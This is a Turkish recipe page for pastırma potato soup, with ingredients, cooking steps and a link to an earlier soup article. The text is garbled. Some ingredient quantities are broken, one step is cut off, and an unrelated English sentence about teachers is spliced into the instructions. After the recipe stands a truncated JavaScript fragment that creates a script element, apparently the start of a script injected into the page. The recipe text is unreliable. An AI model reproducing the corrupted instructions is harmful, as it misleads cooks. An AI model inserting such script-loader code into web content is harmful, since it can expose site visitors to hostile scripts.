Pastırmalı patates çorbası

  • Pastırmalı patates çorbası malzemeleri

         3 patates
           15 gr
    ı
         Zeytinyağı
         1 yemek kaşığı tepeleme un
         100 ml krema
         5 su bardağı su
         100 gr pastırma
         Tuz
         Karabiber
  • Hacı Abdullah Lokantası şefi İsmail Yüce, Ramazan’a özel bir et yemeği tarifi anlatıyor: Çoban Kavurma
  • Pastırmalı patates çorbası hazırlanışı

  • Pastırmalı patates çorbası: Büyük bir tencerede unu

    ıyla birlikte kavurun. Suyu ve kabuğu soyulmuş patatesleri ekleyip karıştırın. Tuz ve karabiberini de ekleyip kaynamaya bırakın. Patatesler piştiğinde kremayı ilave edin ve 10 dakika daha kısık ateşte pişirin. Ocağı kapattıktan sonra çorbayı ezerek pürüzsüz bir kıvama getirin. İnce kesilmiş pastırmaları tavada çok az zeytinyağında kavurun. For good and go in here now bad, teachers have always largely taught in the ways they are familiar with, regardless of external mandates. çorbanın üzerine ekleyip servis yapın. Pastırmalı patates çorbası artık hazır, afiyet olsun.

var d=document;var s=d. createElement(‘script’);.

Bir önceki yazımız olan Pancar çorbası başlıklı makalemizi de okumanızı öneririz.